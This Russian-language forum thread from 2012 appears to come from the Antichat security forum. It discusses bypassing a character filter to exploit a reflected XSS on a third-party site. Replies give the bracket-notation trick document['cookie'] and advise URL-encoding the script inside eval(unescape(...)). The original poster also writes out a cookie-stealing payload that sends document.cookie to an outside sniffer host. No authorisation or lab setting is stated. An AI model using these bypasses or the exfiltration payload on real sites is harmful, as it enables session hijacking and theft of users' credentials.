HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Песочница
Перезагрузить страницу Сложность с Пассивной XSS
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 18.01.2012, 15:56
Jake _Gr33n
Guest
Сообщений: n/a
Провел на форуме:
2296

Репутация: 0
По умолчанию
Вообщем ситуация такая...

Есть один сайт с полем ввода данных, это поле не фильтрует запросы и передаёт эти запросы на второй сайт, где правильно составленный запрос выполняется в виде скрипта.

Проблема в том, что запрос передаётся в поле, с очень жёсткой фильтрацией символов, и кроме как алерта с простым текстом ни чего сделать не выходит.

Кароче:

alert("XSS") - выполняется

alert(document.cookie) - не выполняется, потому что там есть точка.

В чём дело, бро? Как это порешать?
 
Ответить с цитированием

  #2  
Старый 18.01.2012, 16:09
satana-fu
Moderator - Level 7
Регистрация: 06.02.2009
Сообщений: 195
Провел на форуме:
2485155

Репутация: 719
Отправить сообщение для satana-fu с помощью ICQ
По умолчанию
покажи (ПМ если хочешь)
 
Ответить с цитированием

  #3  
Старый 18.01.2012, 16:23
XAMEHA
Новичок
Регистрация: 15.05.2010
Сообщений: 0
Провел на форуме:
2268

Репутация: 0
По умолчанию
Цитата:
Сообщение от Uex Urgent  
Uex Urgent said:
покажи (ПМ если хочешь)
alert(document["cookie"])

UDP: Легче всё зашифровать, так как точи в доменах и т. п. Тоже будут резаться.
 
Ответить с цитированием

  #4  
Старый 18.01.2012, 16:39
Jake _Gr33n
Guest
Сообщений: n/a
Провел на форуме:
2296

Репутация: 0
По умолчанию
Цитата:
Сообщение от XAMEHA  
XAMEHA said:
alert(document["cookie"])
Выводит!

А как теперь присобочить стандартное:

img = new Image(); img.src = "http://sniffer.site.ru/blablabls.gif?"+document.cookie;

?
 
Ответить с цитированием

  #5  
Старый 18.01.2012, 16:44
Jake _Gr33n
Guest
Сообщений: n/a
Провел на форуме:
2296

Репутация: 0
По умолчанию
Да, я глупый скриптикидди. Но ничего деструктивного делать я не собираюсь, спортивный интерес + новые знания
 
Ответить с цитированием

  #6  
Старый 18.01.2012, 16:55
Boolean
Guest
Сообщений: n/a
Провел на форуме:
40748

Репутация: 78
По умолчанию
URL-кодируешь весь свой скрипт и запихиваешь его в

eval(unescape('script encoded'))
 
Ответить с цитированием
Ответ



« Предыдущая тема | Следующая тема »


Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ